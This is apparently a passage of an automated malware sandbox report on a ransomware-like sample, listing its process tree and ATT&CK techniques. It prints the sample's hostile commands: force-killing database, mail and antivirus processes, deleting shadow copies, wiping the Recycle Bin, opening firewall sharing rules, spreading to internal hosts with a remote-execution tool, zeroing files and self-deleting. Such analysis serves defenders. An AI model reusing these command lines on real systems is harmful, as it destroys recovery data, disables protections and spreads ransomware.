    - Suspicious use of AdjustPrivilegeToken
    PID:1484
- - C:\Windows\system32\taskkill.exe
    "taskkill.exe" /IM mspub.exe /F
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:2364
- - C:\Windows\system32\taskkill.exe
    "taskkill.exe" /IM Ntrtscan.exe /F
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:3916
- - C:\Windows\system32\taskkill.exe
    "taskkill.exe" /IM mydesktopqos.exe /F
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:2296
- - C:\Windows\system32\taskkill.exe
    "taskkill.exe" /IM mysqld.exe /F
    3⤵
    - Kills process with taskkill
    PID:1404
- - C:\Windows\system32\taskkill.exe
    "taskkill.exe" /IM mydesktopservice.exe /F
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:3924
- - C:\Windows\system32\taskkill.exe
    "taskkill.exe" /IM isqlplussvc.exe /F
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:2864
- - C:\Windows\system32\taskkill.exe
    "taskkill.exe" /IM sqbcoreservice.exe /F
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:768
- - C:\Windows\system32\taskkill.exe
    "taskkill.exe" /IM firefoxconfig.exe /F
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:788
- - C:\Windows\system32\taskkill.exe
    "taskkill.exe" /IM onenote.exe /F
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:1176
- - C:\Windows\system32\taskkill.exe
    "taskkill.exe" /IM encsvc.exe /F
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:2292
- - C:\Windows\system32\taskkill.exe
    "taskkill.exe" /IM excel.exe /F
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:1880
- - C:\Windows\system32\taskkill.exe
    "taskkill.exe" /IM agntsvc.exe /F
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:1256
- - C:\Windows\system32\taskkill.exe
    "taskkill.exe" /IM dbeng50.exe /F
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:3876
- - C:\Windows\system32\taskkill.exe
    "taskkill.exe" /IM PccNTMon.exe /F
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:3884
- - C:\Windows\system32\taskkill.exe
    "taskkill.exe" /IM CNTAoSMgr.exe /F
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:1404
- - C:\Windows\system32\taskkill.exe
    "taskkill.exe" /IM thebat.exe /F
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:1324
- - C:\Windows\system32\taskkill.exe
    "taskkill.exe" /IM msaccess.exe /F
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:2120
- - C:\Windows\system32\taskkill.exe
    "taskkill.exe" /IM thebat64.exe /F
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:3436
- - C:\Windows\system32\taskkill.exe
    "taskkill.exe" /IM sqlwriter.exe /F
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:2512
- - C:\Windows\system32\taskkill.exe
    "taskkill.exe" /IM outlook.exe /F
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:60
- - C:\Windows\system32\taskkill.exe
    "taskkill.exe" /IM steam.exe /F
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:2296
- - C:\Windows\system32\taskkill.exe
    "taskkill.exe" /IM ocomm.exe /F
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:1856
- - C:\Windows\system32\taskkill.exe
    "taskkill.exe" /IM tbirdconfig.exe /F
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:3396
- - C:\Windows\system32\taskkill.exe
    "taskkill.exe" /IM tmlisten.exe /F
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:2240
- - C:\Windows\system32\taskkill.exe
    "taskkill.exe" /IM infopath.exe /F
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:2144
- - C:\Windows\system32\taskkill.exe
    "taskkill.exe" IM thunderbird.exe /F
    3⤵
    - Kills process with taskkill
    PID:2960
- - C:\Windows\system32\taskkill.exe
    "taskkill.exe" /IM dbsnmp.exe /F
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:2364
- - C:\Windows\system32\taskkill.exe
    "taskkill.exe" /IM wordpad.exe /F
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:412
- - C:\Windows\system32\taskkill.exe
    "taskkill.exe" /IM msftesql.exe /F
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:3652
- - C:\Windows\system32\taskkill.exe
    "taskkill.exe" /IM mbamtray.exe /F
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:3508
- - C:\Windows\system32\taskkill.exe
    "taskkill.exe" /IM mysqld-opt.exe /F
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:2624
- - C:\Windows\system32\taskkill.exe
    "taskkill.exe" /IM xfssvccon.exe /F
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:2232
- - C:\Windows\system32\taskkill.exe
    "taskkill.exe" /IM powerpnt.exe /F
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:2200
- - C:\Windows\system32\taskkill.exe
    "taskkill.exe" /IM zoolz.exe /F
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:856
- - C:\Windows\system32\taskkill.exe
    "taskkill.exe" /IM ocautoupds.exe /F
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:4024
- - C:\Windows\system32\taskkill.exe
    "taskkill.exe" /IM mydesktopqos.exe /F
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:416
- - C:\Windows\system32\netsh.exe
    "netsh" advfirewall firewall set rule group=\"File and Printer Sharing\" new enable=Yes
    3⤵
    - Modifies data under HKEY_USERS
    PID:1400
- - C:\Windows\system32\taskkill.exe
    "taskkill.exe" /IM ocssd.exe /F
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:2268
- - C:\Windows\system32\taskkill.exe
    "taskkill.exe" /IM visio.exe /F
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:2804
- - C:\Windows\system32\taskkill.exe
    "taskkill.exe" /IM oracle.exe /F
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:3180
- - C:\Windows\system32\taskkill.exe
    "taskkill.exe" /IM mydesktopservice.exe /F
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:512
- - C:\Windows\system32\taskkill.exe
    "taskkill.exe" /IM winword.exe /F
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:2248
- - C:\Windows\system32\taskkill.exe
    "taskkill.exe" /IM sqlagent.exe /F
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:2192
- - C:\Windows\system32\taskkill.exe
    "taskkill.exe" /IM mysqld-nt.exe /F
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:3308
- - C:\Windows\system32\taskkill.exe
    "taskkill.exe" /IM sqlbrowser.exe /F
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:2476
- - C:\Windows\system32\arp.exe
    "arp" -a
    3⤵
    PID:1588
- - C:\Windows\system32\taskkill.exe
    "taskkill.exe" /IM sqlservr.exe /F
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:2144
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" & Get-WmiObject Win32_Shadowcopy | ForEach-Object { $_Delete(); }
    3⤵
    - Drops file in System32 directory
    - Modifies data under HKEY_USERS
    - Suspicious use of AdjustPrivilegeToken
    PID:2152
- - C:\Windows\system32\cmd.exe
    "cmd.exe" /c rd /s /q %SYSTEMDRIVE%\\$Recycle.bin
    3⤵
    PID:3876
- - C:\Windows\system32\netsh.exe
    "netsh" advfirewall firewall set rule group=\"Network Discovery\" new enable=Yes
    3⤵
    - Modifies data under HKEY_USERS
    PID:2184
- - C:\Windows\system32\netsh.exe
    "netsh" advfirewall firewall set rule group=\"File and Printer Sharing\" new enable=Yes
    3⤵
    - Modifies data under HKEY_USERS
    PID:2236
- - C:\Windows\system32\arp.exe
    "arp" -a
    3⤵
    PID:1952
- - C:\Windows\TEMP\pmwdbyve.exe
    "C:\Windows\TEMP\pmwdbyve.exe" \\10.10.0.39 -d -h -s -f -accepteula -nobanner -c "C:\Windows\e1f063d6_by_Libranalysis.exe"
    3⤵
    - Executes dropped EXE
    - Modifies data under HKEY_USERS
    PID:1376
- - C:\Windows\TEMP\pmwdbyve.exe
    "C:\Windows\TEMP\pmwdbyve.exe" \\10.10.0.16 -d -h -s -f -accepteula -nobanner -c "C:\Windows\e1f063d6_by_Libranalysis.exe"
    3⤵
    - Executes dropped EXE
    - Modifies data under HKEY_USERS
    PID:1460
- - C:\Windows\TEMP\pmwdbyve.exe
    "C:\Windows\TEMP\pmwdbyve.exe" \\10.10.0.29 -d -h -s -f -accepteula -nobanner -c "C:\Windows\e1f063d6_by_Libranalysis.exe"
    3⤵
    - Executes dropped EXE
    - Modifies data under HKEY_USERS
    PID:2132
- - C:\Windows\TEMP\pmwdbyve.exe
    "C:\Windows\TEMP\pmwdbyve.exe" \\10.10.0.34 -d -h -s -f -accepteula -nobanner -c "C:\Windows\e1f063d6_by_Libranalysis.exe"
    3⤵
    - Executes dropped EXE
    - Modifies data under HKEY_USERS
    PID:2256
- - C:\Windows\TEMP\pmwdbyve.exe
    "C:\Windows\TEMP\pmwdbyve.exe" \\10.10.0.37 -d -h -s -f -accepteula -nobanner -c "C:\Windows\e1f063d6_by_Libranalysis.exe"
    3⤵
    - Executes dropped EXE
    - Modifies data under HKEY_USERS
    PID:3392
- - C:\Windows\TEMP\pmwdbyve.exe
    "C:\Windows\TEMP\pmwdbyve.exe" \\10.10.0.38 -d -h -s -f -accepteula -nobanner -c "C:\Windows\e1f063d6_by_Libranalysis.exe"
    3⤵
    - Executes dropped EXE
    PID:3620
- - C:\Windows\System32\mshta.exe
    "C:\Windows\System32\mshta.exe" \RESTORE_FILES_INFO.hta
    3⤵
    - Modifies data under HKEY_USERS
    PID:416
- - C:\Windows\system32\cmd.exe
    "cmd.exe" /C ping 127.0.0.7 -n 3 > Nul & fsutil file setZeroData offset=0 length=524288 “%s” & Del /f /q “%s”
    3⤵
    PID:512
  - - C:\Windows\system32\PING.EXE
      ping 127.0.0.7 -n 3
      4⤵
      Runs ping.exe
      PID:2268
  - - C:\Windows\system32\fsutil.exe
      fsutil file setZeroData offset=0 length=524288 “%s”
      4⤵
      Drops file in System32 directory
      PID:3896
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" "/C choice /C Y /N /D Y /T 3 & Del "C:\Windows\e1f063d6_by_Libranalysis.exe
    3⤵
    PID:1876
  - - C:\Windows\system32\choice.exe
      choice /C Y /N /D Y /T 3
      4⤵
      PID:2304

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Modify Existing Service

T1031

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/1452-117-0x0000000003210000-0x0000000003216000-memory.dmp

Download

memory/1452-115-0x0000000073D90000-0x0000000073DBE000-memory.dmp

Download

memory/2152-245-0x00000194B33C3000-0x00000194B33C5000-memory.dmp

Download

memory/2152-244-0x00000194B33C0000-0x00000194B33C2000-memory.dmp

Download

memory/2152-246-0x00000194B33C6000-0x00000194B33C8000-memory.dmp

Download

memory/2168-181-0x0000000019A50000-0x0000000019A52000-memory.dmp

Download